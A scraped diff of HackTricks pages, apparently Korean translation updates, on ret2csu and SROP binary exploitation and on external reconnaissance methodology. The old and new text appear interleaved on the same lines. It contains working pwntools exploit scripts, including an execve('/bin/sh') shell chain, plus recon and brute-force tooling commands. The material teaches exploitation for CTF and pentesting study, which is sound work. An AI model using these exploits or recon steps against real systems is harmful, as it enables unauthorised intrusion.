* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# Ret2csu # Ret2csu
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
@ -19,15 +19,15 @@ GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-s
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보
**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 사용하는 **가젯**을 찾을 수 없는 경우 사용되는 해킹 기술입니다.&#x20; **ret2csu**는 프로그램을 제어하려고 할 때 사용하는 해킹 기술로, 프로그램의 동작을 조작하는 데 일반적으로 사용하는 **gadgets**를 찾을 수 없을 때 사용됩니다.
프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분들이 서로 통신하는 방법을 관리하기 위한 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있는데, 이는 우리가 필요로 하는 빠진 가젯 역할을 할 수 있는 숨겨진 보석들이 있습니다. 프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 우리가 잃어버린 gadgets 역할을 할 수 있는 숨겨진 보석들이 있으며, 특히 `__libc_csu_init`라는 함수가 있습니다.
### \_\_libc\_csu\_init의 마법 가젯들 ### \_\_libc\_csu\_init의 마법의 Gadgets
**`__libc_csu_init`**에는 강조해야 할 두 가지 명령어 시퀀스(가젯)가 있습니다: **`__libc_csu_init`**에는 강조할 두 가지 명령어 시퀀스(gadgets)가 있습니다:
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이는 나중에 사용할 숫자나 주소를 저장할 수 있는 슬롯과 같습니다. 1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고 싶은 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
```armasm ```armasm
pop rbx; pop rbx;
pop rbp; pop rbp;
@ -37,18 +37,18 @@ pop r14;
pop r15; pop r15;
ret; ret;
``` ```
이 가젯은 스택에서 값을 팝하여 레지스터를 제어할 수 있게 합니다. 이 가젯은 스택에서 값을 꺼내 레지스터를 제어할 수 있게 해줍니다.
2. 두 번째 시퀀스는 설정한 값을 사용하여 몇 가지 작업을 수행합니다: 2. 두 번째 시퀀스는 우리가 설정한 값을 사용하여 몇 가지 작업을 수행합니다:
* **특정 값들을 다른 레지스터로 이동**하여 함수의 매개변수로 사용할 준비를 합니다. * **특정 값을 다른 레지스터로 이동**시켜 함수의 매개변수로 사용할 준비를 합니다.
* r15과 rbx의 값을 더한 후 rbx를 8로 곱하여 결정된 위치로 **호출을 수행**합니다. * **r15와 rbx의 값을 더한 후 rbx에 8을 곱하여** 결정된 위치로 호출을 수행합니다.
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
2. 어디에 쓸 주소를 모르는 경우가 있고 **`ret` 명령이 필요**할 수도 있습니다. 두 번째 가젯도 **`ret`로 끝나지만**, 도달하기 위해 일부 **조건**을 충족해야 합니다: 2. 아마도 그곳에 쓸 주소를 모르고 **`ret` 명령어**가 필요할 것입니다. 두 번째 가젯도 **`ret`로 끝나지만**, 그것에 도달하기 위해서는 몇 가지 **조건**을 충족해야 합니다:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -60,10 +60,10 @@ jnz <func>
... ...
ret ret
``` ```
다음은 조건입니다: 조건은 다음과 같습니다:
- `[r12 + rbx*8]`는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없는 경우, `_init` 함수를 사용할 수 있습니다). * `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다):
- 만약 `_init``0x400560`에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 `[r12 + rbx*8]`가 해당 포인터를 가리키는 주소가 되도록 합니다. * 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 그것에 대한 포인터를 검색하고 `[r12 + rbx*8]`를 \_init에 대한 포인터가 있는 주소로 설정합니다:
```bash ```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560 gef➤ search-pattern 0x400560
@ -73,14 +73,14 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]" 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
``` ```
* `rbp``rbx`는 동일한 값을 가져야 점프를 피할 수 있습니다. * `rbp``rbx`는 점프를 피하기 위해 동일한 값을 가져야 합니다.
* 고려해야 할 생략된 이 있습니다. * 고려해야 할 생략된 pop이 있습니다.
## RDI RSI ## RDI RSI
Ret2csu 가젯에서 **`rdi`** 및 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다: ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 접근하는 것입니다:
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
자세한 정보는 이 페이지를 확인하세요: 자세한 정보는 이 페이지를 확인하세요:
@ -88,18 +88,18 @@ Ret2csu 가젯에서 **`rdi`** 및 **`rsi`**를 제어하는 또 다른 방법
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md) [brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
{% endcontent-ref %} {% endcontent-ref %}
## 예 ## 예
### 호출 사용 ### 호출 사용
시스템 호출을 수행하거나 `write()`와 같은 함수를 호출하려면 `rdx``rsi` 레지스터에 특정 값이 필요합니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만 찾을 수 없습니다. syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없습니다.
여기서 **ret2csu**가 필요합니다: 여기서 **ret2csu**가 등장합니다:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다. 1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 넣습니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14 및 r13에서 `rdx``rsi`로 값을 이동하여 함수 호출을 위한 매개변수를 준비합니다. 더불어 `r15``rbx`를 제어하여 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다. 2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx``rsi`(각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한 `r15``rbx`를 제어함으로써 프로그램이 계산하여 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출하도록 만들 수 있습니다.
[**이 기술을 사용하고 설명하는 예제**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 사용된 최종 exploit은 다음과 같습니다: 이 기술을 사용한 [**예제와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다:
```python ```python
from pwn import * from pwn import *
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!" print(p.recvline()) # should receive "Awesome work!"
``` ```
{% hint style="warning" %} {% hint style="warning" %}
이전 exploit은 **`RCE`**를 수행하는 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (`win`의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 r15에 저장). 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (ROP 체인에서 `win`의 주소를 stdin에서 호출된 gets로 가져와 r15에 저장함) 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다.
{% endhint %} {% endhint %}
### 호출 우회 및 ret 도달 ### 호출 우회 및 ret 도달
다음 exploit은 [**이 페이지**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)에서 추출되었으며 **ret2csu**를 사용하지만 호출 대신 비교를 우회하고 호출 후 `ret`에 도달합니다: 다음 익스플로잇은 [**이 페이지**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)에서 추출되었으며, 여기서 **ret2csu**가 사용되지만 호출을 사용하는 대신 **비교를 우회하고 호출 후 `ret`에 도달합니다**:
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -179,6 +179,6 @@ payload += ret2win
target.sendline(payload) target.sendline(payload)
target.interactive() target.interactive()
``` ```
### 왜 libc를 직접 사용하지 않는가? ### 왜 libc를 직접 사용하지 않나요?
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾기 어려운 매개변수를 더 많이 제어해야 할 수도 있습니다. 예를 들어 `write()` 함수는 세 개의 매개변수가 필요하며, **이러한 매개변수를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다. 보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.

View file

@ -1,8 +1,8 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -87,7 +87,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 스택을 준비하여 **`execve`**를 `/bin/sh`에 대한 포인터와 함께 호출합니다. 이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 `/bin/sh`에 대한 포인터로 **`execve`**를 호출하기 위해 스택을 준비합니다.
```python ```python
from pwn import * from pwn import *
@ -147,9 +147,9 @@ return 0;
**`vdso`** 섹션에서 **`sigreturn`** 호출을 **`0x7b0`** 오프셋에서 찾을 수 있습니다: **`vdso`** 섹션에서 **`sigreturn`** 호출을 **`0x7b0`** 오프셋에서 찾을 수 있습니다:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
따라서, 유출되면, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면: 따라서, 누출된 경우, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면:
```python ```python
from pwn import * from pwn import *
@ -191,8 +191,8 @@ p.interactive()
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# External Recon Methodology # External Recon Methodology
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,31 +23,31 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## 자산 발견 ## 자산 발견
> 어떤 회사에 속하는 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다. > 어떤 회사에 속 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
이 단계의 목표는 **모회사가 소유한 모든 회사**와 이러한 회사의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: 이 단계의 목표는 **주요 회사가 소유한 모든 회사**와 이 회사들의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
1. 모회사의 인수 목록을 찾아 범위 내의 회사를 파악합니다. 1. 주요 회사의 인수 목록을 찾습니다. 이는 범위 내의 회사를 알려줍니다.
2. 각 회사의 ASN(있는 경우)을 찾아 각 회사가 소유한 IP 범위를 확인합니다. 2. 각 회사의 ASN(있는 경우)을 찾아, 각 회사가 소유한 IP 범위를 알아냅니다.
3. 역 Whois 조회를 사용하여 첫 번째 항목과 관련된 다른 항목(조직 이름, 도메인 등)을 검색합니다(재귀적으로 수행할 수 있습니다). 3. 역 Whois 조회를 사용하여 첫 번째 항목과 관련된 다른 항목(조직 이름, 도메인 등)을 검색합니다(재귀적으로 수행할 수 있습니다).
4. shodan `org``ssl` 필터와 같은 다른 기술을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있습니다). 4. shodan `org``ssl` 필터와 같은 다른 기술을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있습니다).
### **인수** ### **인수**
우선, **회사가 소유한 다른 회사**를 알아야 합니다.\ 우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\
한 가지 방법은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **모회사를 검색**하고 "**인수**"를 클릭하는 것입니다. 거기에서 모회사가 인수한 다른 회사를 볼 수 있습니다.\ 한 가지 옵션은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 클릭하는 것입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
또 다른 방법은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다. 다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하여 **인수**를 검색하는 것입니다.
> 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. > 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
### **ASN** ### **ASNs**
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\ 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\
**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소 블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. **AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾는 것이 좋습니다.\ 회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾는 것이 흥미로울 것입니다.\
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\ [**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\
**회사의 지역에 따라 이 링크 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다. **회사의 지역에 따라 이 링크 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든, 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
@ -75,21 +75,21 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **취약점 찾기** ### **취약점 찾기**
이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\ At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책에서 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\ Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\
**또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 **브루트포스 시도하는 것도 가치가 있을 수 있습니다.** **Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## 도메인 ## 도메인
> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다. > We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
_다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._ _Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
### **역 DNS** ### **역 DNS**
도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요. As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8)
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
간단히 말해, favihash는 우리의 타겟과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있게 해줍니다. 간단히 말해, favihash는 우리의 타겟과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있게 해줍니다.
게다가, [**이 블로그 포스트**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한 대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, **취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면** shodan에서 검색하여 **더 많은 취약한 장소를 찾을 수 있습니다**: 게다가, [**이 블로그 포스트**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한 대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, **취약한 버전의 웹 기술의 파비콘 해시**를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 장소를 찾을 수 있습니다**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
@ -160,7 +160,7 @@ return fhash
``` ```
### **Copyright / Uniq string** ### **Copyright / Uniq string**
